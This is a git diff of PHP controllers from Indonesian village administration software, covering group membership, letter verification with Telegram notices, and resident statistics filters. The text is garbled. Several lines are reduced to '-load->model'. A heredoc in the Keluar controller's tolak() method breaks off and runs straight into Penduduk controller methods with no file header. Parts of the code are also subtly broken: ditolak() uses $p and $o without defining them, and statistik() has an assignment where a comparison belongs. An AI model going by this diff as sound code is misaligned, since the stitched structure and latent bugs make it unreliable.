+ $this->session->unset_userdata('aksi');
+
+ redirect($redirect);
+ }
+
+ public function update_a($id = 0, $id_a = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->kelompok_model->update_a($id, $id_a);
+
+ redirect("{$this->controller}/anggota/{$id}");
+ }
+
+ public function delete_anggota($id = 0, $a = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->kelompok_model->delete_anggota($a);
+
+ redirect("{$this->controller}/anggota/{$id}");
+ }
+
+ public function delete_anggota_all($id = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->kelompok_model->delete_anggota_all();
+
+ redirect("{$this->controller}/anggota/{$id}");
+ }
+
+ public function to_master($id = 0)
+ {
+ $filter = $id;
+ if ($filter != 0) {
+ $this->session->filter = $filter;
+ } else {
+ $this->session->unset_userdata(['filter']);
+ }
+
+ redirect($this->controller);
+ }
+
+ public function statistik($tipe = '0', $nomor = 0, $sex = null)
+ {
+ if ($sex == null) {
+ if ($nomor != 0) {
+ $this->session->sex = $nomor;
+ } else {
+ $this->session->unset_userdata('sex');
+ }
+ $this->session->unset_userdata('judul_statistik');
+ redirect($this->controller);
+ }
+
+ $this->session->unset_userdata('program_bantuan');
+ $this->session->sex = ($sex == 0) ? null : $sex;
+
+ switch ($tipe) {
+ case $tipe > 50:
+ $program_id = preg_replace('/^50/', '', $tipe);
+ $this->session->program_bantuan = $program_id;
+
+ // TODO: Sederhanakan query ini, pindahkan ke model
+ $nama = $this->db
+ ->select('nama')
+ ->where('id', $program_id)
+ ->where('config_id', identitas('id'))
+ ->get('program')
+ ->row()
+ ->nama;
+
+ if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) {
+ $this->session->status_dasar = null; // tampilkan semua peserta walaupun bukan hidup/aktif
+ $nomor = $program_id;
+ }
+ $kategori = $nama . ' : ';
+ $session = 'penerima_bantuan';
+ $tipe = 'penerima_bantuan';
+ break;
+ }
+
+ $this->session->{$session} = ($nomor != TOTAL) ? $nomor : null;
+
+ $judul = $this->kelompok_model->get_judul_statistik($tipe, $nomor, $sex);
+
+ $this->session->unset_userdata('judul_statistik');
+ if ($judul['nama']) {
+ $this->session->judul_statistik = $kategori . $judul['nama'];
+ }
+
+ redirect($this->controller);
+ }
+}
diff --git a/donjo-app/controllers/Kelompok_master.php b/donjo-app/controllers/Kelompok_master.php
index 376a985ad..9bf90c6f4 100644
--- a/donjo-app/controllers/Kelompok_master.php
+++ b/donjo-app/controllers/Kelompok_master.php
@@ -1,537 +1,148 @@
-load->model(['kelompok_master_model']);
+ $this->modul_ini = 'kependudukan';
+ $this->sub_modul_ini = 'kelompok';
+ $this->_set_page = ['20', '50', '100'];
+ $this->_list_session = ['cari', 'filter'];
+ $this->kelompok_master_model->set_tipe($this->tipe);
+ }
+
+ public function clear()
+ {
+ $this->session->unset_userdata($this->_list_session);
+ $this->session->per_page = $this->_set_page[0];
+
+ redirect($this->controller);
+ }
+
+ public function index($p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ foreach ($this->_list_session as $list) {
+ $data[$list] = $this->session->{$list} ?: '';
+ }
+
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data['func'] = 'index';
+ $data['set_page'] = $this->_set_page;
+ $data['paging'] = $this->kelompok_master_model->paging($p);
+ $data['main'] = $this->kelompok_master_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['keyword'] = $this->kelompok_master_model->autocomplete();
+ $data['tipe'] = $this->tipe;
+
+ $this->render('kelompok_master/table', $data);
+ }
+
+ public function form($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ if ($id) {
+ $data['kelompok_master'] = $this->kelompok_master_model->get_kelompok_master($id) ?? show_404();
+ $data['form_action'] = site_url("{$this->controller}/update/{$id}");
+ } else {
+ $data['kelompok_master'] = null;
+ $data['form_action'] = site_url("{$this->controller}/insert");
+ }
+
+ $data['tipe'] = $this->tipe;
+
+ $this->render('kelompok_master/form', $data);
+ }
+
+ public function filter($filter)
+ {
+ $value = $this->input->post($filter);
+ if ($value != '') {
+ $this->session->{$filter} = $value;
+ } else {
+ $this->session->unset_userdata($filter);
+ }
+
+ redirect($this->controller);
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u');
+ $this->kelompok_master_model->insert();
+
+ redirect($this->controller);
+ }
+
+ public function update($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->kelompok_master_model->update($id);
+
+ redirect($this->controller);
+ }
+
+ public function delete($id = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->kelompok_master_model->delete($id);
+
+ redirect($this->controller);
+ }
+
+ public function delete_all()
+ {
+ $this->redirect_hak_akses('h');
+ $this->kelompok_master_model->delete_all();
+
+ redirect($this->controller);
+ }
+}
diff --git a/donjo-app/controllers/Keluar.php b/donjo-app/controllers/Keluar.php
index fa802aeaf..8c4ee3894 100644
--- a/donjo-app/controllers/Keluar.php
+++ b/donjo-app/controllers/Keluar.php
@@ -1,465 +1,696 @@
-load->model('keluar_model');
+ $this->load->model('surat_model');
+
+ $this->load->helper('download');
+ $this->load->model('pamong_model');
+ $this->modul_ini = 'layanan-surat';
+ $this->sub_modul_ini = 'arsip-layanan';
+ $this->isAdmin = $this->session->isAdmin->pamong;
+ $this->load->library('OTP/OTP_manager', null, 'otp_library');
+ }
+
+ public function clear($redirect = null)
+ {
+ $this->session->unset_userdata($this->list_session);
+ $this->session->set_userdata('per_page', 20);
+ if ($redirect != null) {
+ redirect($this->controller . '/' . $redirect);
+ }
+ redirect('keluar');
+ }
+
+ public function index($p = 1, $o = 0)
+ {
+ $this->tab_ini = 10;
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ foreach ($this->list_session as $list) {
+ $data[$list] = $this->session->{$list} ?: '';
+ }
+
+ if ($this->input->post('per_page') !== null) {
+ $this->session->per_page = $this->input->post('per_page');
+ }
+
+ if (! isset($this->session->tahun)) {
+ $this->session->unset_userdata('bulan');
+ }
+
+ if (setting('verifikasi_kades') || setting('verifikasi_sekdes')) {
+ $data['operator'] = ($this->isAdmin->jabatan_id == kades()->id || $this->isAdmin->jabatan_id == sekdes()->id) ? false : true;
+ $data['widgets'] = $this->widget();
+ }
+
+ $data['user_admin'] = (config_item('user_admin') == auth()->id) ? true : false;
+ $data['title'] = 'Arsip Layanan Surat';
+ $data['per_page'] = $this->session->per_pages;
+ $data['paging'] = $this->keluar_model->paging($p, $o);
+ $data['main'] = $this->keluar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['tahun_surat'] = $this->keluar_model->list_tahun_surat();
+ $data['bulan_surat'] = ($this->session->tahun == null) ? [] : $this->keluar_model->list_bulan_surat(); //ambil list bulan dari log
+ $data['jenis_surat'] = $this->keluar_model->list_jenis_surat();
+ $data['keyword'] = $this->keluar_model->autocomplete();
+ $data['redirect'] = 'index';
+
+ $this->render('surat/surat_keluar', $data);
+ }
+
+ public function masuk($p = 1, $o = 0)
+ {
+ $this->alihkan();
+
+ $this->tab_ini = 11;
+ $this->session->masuk = true;
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ foreach ($this->list_session as $list) {
+ $data[$list] = $this->session->{$list} ?: '';
+ }
+
+ if ($this->input->post('per_page') !== null) {
+ $this->session->per_page = $this->input->post('per_page');
+ }
+
+ if (! isset($this->session->tahun)) {
+ $this->session->unset_userdata('bulan');
+ }
+
+ $data['per_page'] = $this->session->per_pages;
+ $data['title'] = 'Permohonan Surat';
+ $data['operator'] = (in_array($this->isAdmin->jabatan_id, RefJabatan::getKadesSekdes())) ? false : true;
+ $data['user_admin'] = (config_item('user_admin') == auth()->id) ? true : false;
+ $ref_jabatan_kades = setting('sebutan_kepala_desa');
+ $ref_jabatan_sekdes = setting('sebutan_sekretaris_desa');
+
+ if ($this->isAdmin->jabatan_id == kades()->id) {
+ $data['next'] = null;
+ } elseif ($this->isAdmin->jabatan_id == sekdes()->id) {
+ $data['next'] = setting('verifikasi_kades') ? $ref_jabatan_kades : null;
+ } else {
+ if (setting('verifikasi_sekdes')) {
+ $data['next'] = $ref_jabatan_sekdes;
+ } elseif (setting('verifikasi_kades')) {
+ $data['next'] = $ref_jabatan_kades;
+ } else {
+ $data['next'] = null;
+ }
+ }
+
+ $data['paging'] = $this->keluar_model->paging($p, $o);
+ $data['main'] = $this->keluar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['tahun_surat'] = $this->keluar_model->list_tahun_surat();
+ $data['bulan_surat'] = ($this->session->tahun == null) ? [] : $this->keluar_model->list_bulan_surat(); //ambil list bulan dari log
+ $data['jenis_surat'] = $this->keluar_model->list_jenis_surat();
+ $data['keyword'] = $this->keluar_model->autocomplete();
+ $data['widgets'] = $this->widget();
+ $data['redirect'] = 'masuk';
+
+ $this->render('surat/surat_keluar', $data);
+ }
+
+ public function ditolak()
+ {
+ $this->alihkan();
+
+ $this->tab_ini = 12;
+
+ $this->session->ditolak = true;
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ foreach ($this->list_session as $list) {
+ $data[$list] = $this->session->{$list} ?: '';
+ }
+
+ if ($this->input->post('per_page') !== null) {
+ $this->session->per_page = $this->input->post('per_page');
+ }
+
+ if (! isset($this->session->tahun)) {
+ $this->session->unset_userdata('bulan');
+ }
+
+ $data['per_page'] = $this->session->per_pages;
+ $data['title'] = 'Surat Ditolak';
+ $data['operator'] = ((int) $this->isAdmin->jabatan_id == kades()->id || (int) $this->isAdmin->jabatan_id == sekdes()->id) ? false : true;
+
+ if (setting('verifikasi_sekdes')) {
+ $data['next'] = setting('sebutan_sekretaris_desa');
+ } elseif (setting('verifikasi_kades')) {
+ $data['next'] = setting('sebutan_kepala_desa');
+ } else {
+ $data['next'] = null;
+ }
+
+ $data['paging'] = $this->keluar_model->paging($p, $o);
+ $data['main'] = $this->keluar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['tahun_surat'] = $this->keluar_model->list_tahun_surat();
+ $data['bulan_surat'] = ($this->session->tahun == null) ? [] : $this->keluar_model->list_bulan_surat(); //ambil list bulan dari log
+ $data['jenis_surat'] = $this->keluar_model->list_jenis_surat();
+ $data['keyword'] = $this->keluar_model->autocomplete();
+ $data['widgets'] = $this->widget();
+ $data['redirect'] = 'ditolak';
+
+ $this->render('surat/surat_keluar', $data);
+ }
+
+ public function verifikasi()
+ {
+ $this->alihkan();
+
+ $id = $this->input->post('id');
+ $surat = LogSurat::find($id);
+ $mandiri = PermohonanSurat::where('id_surat', $surat->id_format_surat)->where('isian_form->nomor', $surat->no_surat)->first();
+ $ref_jabatan_kades = setting('sebutan_kepala_desa');
+ $ref_jabatan_sekdes = setting('sebutan_sekretaris_desa');
+
+ switch ($this->isAdmin->jabatan_id) {
+ // verifikasi kades
+ case kades()->id:
+ $current = 'verifikasi_kades';
+ $next = (setting('tte') && ! in_array($surat->formatSurat->jenis, FormatSurat::RTF)) ? 'tte' : null;
+ $log = (setting('tte')) ? 'TTE' : null;
+ break;
+
+ // verifikasi sekdes
+ case sekdes()->id:
+ $current = 'verifikasi_sekdes';
+ $next = setting('verifikasi_kades') ? 'verifikasi_kades' : null;
+ $log = 'Verifikasi ' . $ref_jabatan_kades;
+ break;
+
+ // verifikasi operator
+ default:
+ $current = 'verifikasi_operator';
+ if (setting('verifikasi_sekdes')) {
+ $next = 'verifikasi_sekdes';
+ $log = 'Verifikasi ' . $ref_jabatan_sekdes;
+ } elseif (setting('verifikasi_kades')) {
+ $next = 'verifikasi_kades';
+ $log = 'Verifikasi ' . $ref_jabatan_kades;
+ } else {
+ $next = null;
+ $log = null;
+ }
+ break;
+ }
+
+ if ($next == null) {
+ LogSurat::where('id', '=', $id)->update([$current => 1, 'log_verifikasi' => $log]);
+
+ if ($mandiri != null) {
+ $mandiri->update(['status' => 3]);
+ }
+ } else {
+ $log_surat = LogSurat::where('id', '=', $id)->first();
+ $log_surat->update([$current => 1, $next => 0, 'log_verifikasi' => $log]);
+
+ // hapus surat pdf agar bisa digenerate ulang.
+ unlink(FCPATH . LOKASI_ARSIP . $log_surat->nama_surat);
+
+ $kirim_telegram = User::whereHas('pamong', static function ($query) use ($next) {
+ if ($next == 'verifikasi_sekdes') {
+ return $query->where('jabatan_id', '=', sekdes()->id)->where('pamong_ttd', '=', '1');
+ }
+ if ($next == 'verifikasi_kades') {
+ return $query->where('jabatan_id', '=', kades()->id);
+ }
+ })->where('notif_telegram', '=', '1')->first();
+
+ if ($kirim_telegram != null && cek_koneksi_internet()) {
+ try {
+ $telegram = new Telegram();
+ // Data pesan telegram yang akan digantikan
+ $pesanTelegram = [
+ '[nama_penduduk]' => Penduduk::find($log_surat->id_pend)->nama,
+ '[judul_surat]' => $log_surat->formatSurat->nama,
+ '[tanggal]' => tgl_indo2(date('Y-m-d H:i:s')),
+ '[melalui]' => 'Halaman Admin',
+ ];
+
+ $kirimPesan = setting('notifikasi_pengajuan_surat');
+ $kirimPesan = str_replace(array_keys($pesanTelegram), array_values($pesanTelegram), $kirimPesan);
+
+ $telegram->sendMessage([
+ 'chat_id' => $kirim_telegram->id_telegram,
+ 'text' => $kirimPesan,
+ 'parse_mode' => 'Markdown',
+ 'reply_markup' => json_encode([
+ 'inline_keyboard' => [[
+ ['text' => 'Lihat detail', 'url' => site_url('keluar/clear/masuk')],
+ ]],
+ ]),
+ ]);
+ } catch (\Exception $e) {
+ log_message('error', $e->getMessage());
+ }
+ }
+ }
+ }
+
+ public function tolak()
+ {
+ $this->alihkan();
+
+ try {
+ $id = $this->input->post('id');
+ $alasan = $this->input->post('alasan');
+ $log_surat = LogSurat::where('id', '=', $id)->first();
+ $file = FCPATH . LOKASI_ARSIP . $log_surat->nama_surat;
+ $log_surat->update([
+ 'verifikasi_kades' => null,
+ 'verifikasi_sekdes' => null,
+ 'verifikasi_operator' => -1,
+ ]);
+
+ // create log tolak
+ LogTolak::create([
+ 'config_id' => identitas('id'),
+ 'keterangan' => $alasan,
+ 'id_surat' => $id,
+ 'created_by' => $this->session->user,
+ ]);
+
+ if ($log_surat->isi_surat != null) {
+ unlink($file); //hapus file pdf
+ $log_surat->update([
+ 'nama_surat' => null,
+ ]);
+ }
+
+ $jenis_surat = $log_surat->formatSurat->nama;
+
+ $kirim_telegram = User::whereHas('pamong', static function ($query) {
+ return $query->where('pamong_ub', '=', '0')->where('pamong_ttd', '=', '0');
+ })
+ ->where('notif_telegram', '=', '1')
+ ->get();
+
+ $telegram = new Telegram();
+
+ foreach ($kirim_telegram as $value) {
+ $telegram->sendMessage([
+ 'chat_id' => $value->id_telegram,
+ 'text' => <<RW
+
+ ';
+ }
+
+ public function ajax_penduduk_maps($p = 1, $o = 0, $id = null, $edit = 1)
+ {
+ $this->redirect_hak_akses('u');
+
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $data['id'] = $id;
+ $data['edit'] = $edit;
+
+ $data['penduduk'] = $this->penduduk_model->get_penduduk_map($id);
+ $data['desa'] = $this->header['desa'];
+ $data['wil_atas'] = $this->header['desa'];
+ $data['dusun_gis'] = $this->wilayah_model->list_dusun();
+ $data['rw_gis'] = $this->wilayah_model->list_rw();
+ $data['rt_gis'] = $this->wilayah_model->list_rt();
+ $data['form_action'] = site_url("{$this->controller}/update_maps/{$p}/{$o}/{$id}/{$data['edit']}");
+
+ $this->render('sid/kependudukan/ajax_penduduk_maps', $data);
+ }
+
+ public function update_maps($p = 1, $o = 0, $id = '', $edit = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ $this->penduduk_model->update_position($id);
+ if ($edit == 1) {
+ redirect("{$this->controller}/form/{$p}/{$o}/{$id}");
+ } else {
+ redirect($this->controller);
+ }
+ }
+
+ public function edit_status_dasar($p = 1, $o = 0, $id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $data['nik'] = $this->penduduk_model->get_penduduk($id);
+ $data['form_action'] = site_url("{$this->controller}/update_status_dasar/{$p}/{$o}/{$id}");
+ $data['list_ref_pindah'] = $this->referensi_model->list_data('ref_pindah');
+ $data['sebab'] = $this->referensi_model->list_ref(SEBAB);
+ $data['penolong_mati'] = $this->referensi_model->list_ref(PENOLONG_MATI);
+
+ //Pengecualian status dasar: Penduduk Tetap => ('TIDAK VALID', 'HIDUP', 'PERGI') , Penduduk Tidak Tetap => ('TIDAK VALID', 'HIDUP')
+ $excluded_status = $data['nik']['id_status'] == 1 ? '9, 1, 6' : '9, 1';
+ $data['list_status_dasar'] = $this->referensi_model->list_data('tweb_status_dasar', $excluded_status);
+
+ $this->load->view('sid/kependudukan/ajax_edit_status_dasar', $data);
+ }
+
+ public function update_status_dasar($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->penduduk_model->update_status_dasar($id);
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+
+ redirect("{$this->controller}/index/{$p}/{$o}");
+ }
+
+ public function kembalikan_status($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->penduduk_model->kembalikan_status($id);
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+
+ redirect("{$this->controller}/index/{$p}/{$o}");
+ }
+
+ public function cetak($page = 1, $o = 0, $aksi = '', $privasi_nik = 0)
+ {
+ $data['main'] = $this->penduduk_model->list_data($o, $page)['main'];
+
+ if ($privasi_nik == 1) {
+ $data['privasi_nik'] = true;
+ }
+
+ $this->load->view("sid/kependudukan/penduduk_{$aksi}", $data);
+ }
+
+ public function statistik($tipe = '0', $nomor = 0, $sex = null)
+ {
+ $this->clear_session();
+ // Set filter statistik
+ $filter_global = $this->session->filter_global;
+
+ $this->session->dusun = $filter_global['dusun'];
+ $this->session->rw = $filter_global['rw'];
+ $this->session->rt = $filter_global['rt'];
+
+ // Untuk tautan TOTAL di laporan statistik, di mana arg-2 = sex dan arg-3 kosong
+ // kecuali untuk laporan wajib KTP
+ if ($sex == null && $tipe != 18) {
+ if ($nomor != 0) {
+ $this->session->sex = $nomor;
+ } else {
+ $this->session->unset_userdata('sex');
+ }
+ $this->session->unset_userdata('judul_statistik');
+ redirect($this->controller);
+ }
+
+ $this->session->unset_userdata('program_bantuan');
+ $this->session->sex = ($sex == 0) ? null : $sex;
+
+ switch ($tipe) {
+ case '0':
+ $session = 'pendidikan_kk_id';
+ $kategori = 'PENDIDIKAN DALAM KK : ';
+ break;
+
+ case 1:
+ $session = 'pekerjaan_id';
+ $kategori = 'PEKERJAAN : ';
+ break;
+
+ case 2:
+ $session = 'status';
+ $kategori = 'STATUS PERKAWINAN : ';
+ break;
+
+ case 3:
+ $session = 'agama';
+ $kategori = 'AGAMA : ';
+ break;
+
+ case 4:
+ $session = 'sex';
+ $kategori = 'JENIS KELAMIN : ';
+ break;
+
+ case 5:
+ $session = 'warganegara';
+ $kategori = 'WARGANEGARA : ';
+ break;
+
+ case 6:
+ $session = 'status_penduduk';
+ $kategori = 'STATUS PENDUDUK : ';
+ break;
+
+ case 7:
+ $session = 'golongan_darah';
+ $kategori = 'GOLONGAN DARAH : ';
+ break;
+
+ case 9:
+ $session = 'cacat';
+ $kategori = 'CACAT : ';
+ break;
+
+ case 10:
+ $session = 'menahun';
+ $kategori = 'SAKIT MENAHUN : ';
+ break;
+
+ case 13:
+ $session = 'umurx';
+ $kategori = 'UMUR (RENTANG) : ';
+ break;
+
+ case 14:
+ $session = 'pendidikan_sedang_id';
+ $kategori = 'PENDIDIKAN SEDANG DITEMPUH : ';
+ break;
+
+ case 15:
+ $session = 'umurx';
+ $kategori = 'UMUR (KATEGORI) : ';
+ break;
+
+ case 16:
+ $session = 'cara_kb_id';
+ $kategori = 'CARA KB : ';
+ break;
+
+ case 17:
+ $session = 'akta_kelahiran';
+ $kategori = 'AKTA KELAHIRAN : UMUR ';
+ break;
+
+ case 19:
+ $session = 'id_asuransi';
+ $kategori = 'ASURANSI KESEHATAN : ';
+ break;
+
+ case 'bpjs-tenagakerja':
+ $session = ($nomor == BELUM_MENGISI || $nomor == JUMLAH) ? 'bpjs_ketenagakerjaan' : 'pekerjaan_id';
+ $kategori = 'BPJS Ketenagakerjaan : ';
+ $this->session->bpjs_ketenagakerjaan = ($nomor == TOTAL) ? false : true;
+ break;
+
+ case 'hubungan_kk':
+ $session = 'hubungan';
+ $kategori = 'HUBUNGAN DALAM KK : ';
+ break;
+
+ case 'covid':
+ $session = 'status_covid';
+ $kategori = 'STATUS COVID : ';
+ break;
+
+ case 'bantuan_penduduk':
+ if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) {
+ $this->session->status_dasar = null;
+ } // tampilkan semua peserta walaupun bukan hidup/aktif
+ $session = 'bantuan_penduduk';
+ $kategori = 'PENERIMA BANTUAN PENDUDUK : ';
+ break;
+
+ case 18:
+ if ($sex == null) {
+ $this->session->status_ktp = 0;
+ $this->session->sex = ($nomor == 0) ? null : $nomor;
+ $sex = $this->session->sex;
+ unset($nomor);
+ } else {
+ $this->session->status_ktp = $nomor;
+ }
+
+ $kategori = 'KEPEMILIKAN WAJIB KTP : ';
+ break;
+
+ case 'suku':
+ $session = 'suku';
+ $kategori = 'Suku: ';
+ break;
+
+ case 'hamil':
+ $session = 'hamil';
+ $kategori = 'STATUS KEHAMILAN : ';
+ break;
+
+ case $tipe > 50:
+ $program_id = preg_replace('/^50/', '', $tipe);
+ $this->session->program_bantuan = $program_id;
+
+ // TODO: Sederhanakan query ini, pindahkan ke model
+ $nama = $this->db
+ ->select('nama')
+ ->where('config_id', identitas('id'))
+ ->where('id', $program_id)
+ ->get('program')
+ ->row()
+ ->nama;
+
+ if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) {
+ $this->session->status_dasar = null; // tampilkan semua peserta walaupun bukan hidup/aktif
+ $nomor = $program_id;
+ }
+ $kategori = $nama . ' : ';
+ $session = 'bantuan_penduduk';
+ $tipe = 'bantuan_penduduk';
+ break;
+ }
+
+ // Filter berdasarkan kategori tdk dilakukan jika $nomer = TOTAL (888)
+ if ($tipe != 18 && $nomor != TOTAL) {
+ $this->session->{$session} = rawurldecode($nomor);
+ }
+
+ $judul = $this->penduduk_model->get_judul_statistik($tipe, $nomor, $sex);
+ // Laporan wajib KTP berbeda - menampilkan sebagian dari penduduk, jadi selalu perlu judul
+ if ($judul['nama'] || $tipe = 18) {
+ $this->session->judul_statistik = $kategori . $judul['nama'];
+ } else {
+ $this->session->unset_userdata('judul_statistik');
+ }
+
+ redirect($this->controller);
+ }
+
+ public function lap_statistik($id_cluster = 0, $tipe = 0, $nomor = 0)
+ {
+ $this->clear_session();
+ $cluster = $this->penduduk_model->get_cluster($id_cluster);
+
+ switch ($tipe) {
+ case 1:
+ $_SESSION['sex'] = '1';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'JENIS KELAMIN LAKI-LAKI ';
+ break;
+
+ case 2:
+ $_SESSION['sex'] = '2';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'JENIS KELAMIN PEREMPUAN ';
+ break;
+
+ case 3:
+ $_SESSION['umur_min'] = '0';
+ $_SESSION['umur_max'] = '0';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'BERUMUR <1 ';
+ break;
+
+ case 4:
+ $_SESSION['umur_min'] = '1';
+ $_SESSION['umur_max'] = '5';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'BERUMUR 1-5 ';
+ break;
+
+ case 5:
+ $_SESSION['umur_min'] = '6';
+ $_SESSION['umur_max'] = '12';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'BERUMUR 6-12 ';
+ break;
+
+ case 6:
+ $_SESSION['umur_min'] = '13';
+ $_SESSION['umur_max'] = '15';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'BERUMUR 13-16 ';
+ break;
+
+ case 7:
+ $_SESSION['umur_min'] = '16';
+ $_SESSION['umur_max'] = '18';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'BERUMUR 16-18 ';
+ break;
+
+ case 8:
+ $_SESSION['umur_min'] = '61';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'BERUMUR >60';
+ break;
+
+ case 91:
+ case 92:
+ case 93:
+ case 94:
+ case 95:
+ case 96:
+ case 97:
+ $kode_cacat = $tipe - 90;
+ $_SESSION['cacat'] = $kode_cacat;
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $stat = $this->penduduk_model->get_judul_statistik(9, $kode_cacat, null);
+ $pre = $stat['nama'];
+ break;
+
+ case 10:
+ $_SESSION['menahun'] = '90';
+ $_SESSION['sex'] = '1';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'SAKIT MENAHUN LAKI-LAKI ';
+ break;
+
+ case 11:
+ $_SESSION['menahun'] = '90';
+ $_SESSION['sex'] = '2';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'SAKIT MENAHUN PEREMPUAN ';
+ break;
+
+ case 12:
+ $_SESSION['hamil'] = '1';
+ $_SESSION['dusun'] = $cluster['dusun'];
+ $_SESSION['rw'] = $cluster['rw'];
+ $_SESSION['rt'] = $cluster['rt'];
+ $pre = 'HAMIL ';
+ break;
+ }
+
+ if ($pre) {
+ $_SESSION['judul_statistik'] = $pre;
+ } else {
+ unset($_SESSION['judul_statistik']);
+ }
+
+ redirect($this->controller);
+ }
+
+ public function autocomplete()
+ {
+ return json($this->penduduk_model->autocomplete($this->input->post('cari')));
+ }
+
+ public function search_kumpulan_nik()
+ {
+ $data['kumpulan_nik'] = $this->session->kumpulan_nik;
+ $data['form_action'] = site_url("{$this->controller}/filter/kumpulan_nik");
+
+ $this->load->view('sid/kependudukan/ajax_search_kumpulan_nik', $data);
+ }
+
+ public function ajax_cetak($page = 1, $o = 0, $aksi = '')
+ {
+ $data['o'] = $o;
+ $data['aksi'] = $aksi;
+ $data['form_action'] = site_url("{$this->controller}/cetak/{$page}/{$o}/{$aksi}?id_cb={$this->input->get('id_cb')}");
+ $data['form_action_privasi'] = site_url("{$this->controller}/cetak/{$page}/{$o}/{$aksi}/1?id_cb={$this->input->get('id_cb')}");
+
+ $this->load->view('sid/kependudukan/ajax_cetak_bersama', $data);
+ }
+
+ public function program_bantuan()
+ {
+ // TODO : Ubah cara ini untuk menampilkan data
+ $this->session->sasaran = 1; // sasaran penduduk
+ $this->session->per_page = 100000; // tampilkan semua program bantuan
+ $list_bantuan = $this->program_bantuan_model->get_program(1, false);
+
+ $data = [
+ 'form_action' => site_url("{$this->controller}/program_bantuan_proses"),
+ 'program_bantuan' => $list_bantuan['program'],
+ 'id_program' => $this->session->bantuan_penduduk,
+ ];
+
+ $this->load->view('sid/kependudukan/pencarian_program_bantuan', $data);
+ }
+
+ public function program_bantuan_proses()
+ {
+ $id_program = $this->input->post('program_bantuan');
+
+ if ($id_program == JUMLAH) {
+ $id_program = JUMLAH;
+ } elseif ($id_program == BELUM_MENGISI) {
+ $id_program = BELUM_MENGISI;
+ }
+
+ $this->statistik('bantuan_penduduk', $id_program, '0');
+ }
+
+ /**
+ * Unduh berkas berdasarkan kolom dokumen.id
+ *
+ * @param int $id_dokumen Id berkas pada koloam dokumen.id
+ * @param mixed $tampil
+ *
+ * @return void
+ */
+ public function unduh_berkas($id_dokumen = 0, $tampil = false)
+ {
+ // Ambil nama berkas dari database
+ $data = $this->web_dokumen_model->get_dokumen($id_dokumen);
+ ambilBerkas($data['satuan'], $this->controller, null, LOKASI_DOKUMEN, $tampil);
+ }
+
+ public function impor()
+ {
+ if (config_item('demo_mode')) {
+ redirect($this->controller);
+ }
+
+ $this->redirect_hak_akses('u', '', '', true);
+
+ $data = [
+ 'form_action' => route('penduduk.proses_impor'),
+ 'boleh_hapus_penduduk' => $this->impor_model->boleh_hapus_penduduk(),
+ ];
+
+ return view('admin.penduduk.impor', $data);
+ }
+
+ public function proses_impor()
+ {
+ if (config_item('demo_mode')) {
+ redirect($this->controller);
+ }
+
+ $this->redirect_hak_akses('u', '', '', true);
+ $hapus = isset($_POST['hapus_data']);
+ $this->impor_model->impor_excel($hapus);
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+ redirect('penduduk/impor');
+ }
+
+ public function impor_bip()
+ {
+ if (config_item('demo_mode') || setting('multi_desa')) {
+ redirect($this->controller);
+ }
+
+ $this->redirect_hak_akses('u', '', '', true);
+
+ $data = [
+ 'form_action' => route('penduduk.proses_impor_bip'),
+ 'boleh_hapus_penduduk' => $this->impor_model->boleh_hapus_penduduk(),
+ ];
+
+ return view('admin.penduduk.impor_bip', $data);
+ }
+
+ public function proses_impor_bip()
+ {
+ if (config_item('demo_mode') || setting('multi_desa')) {
+ redirect($this->controller);
+ }
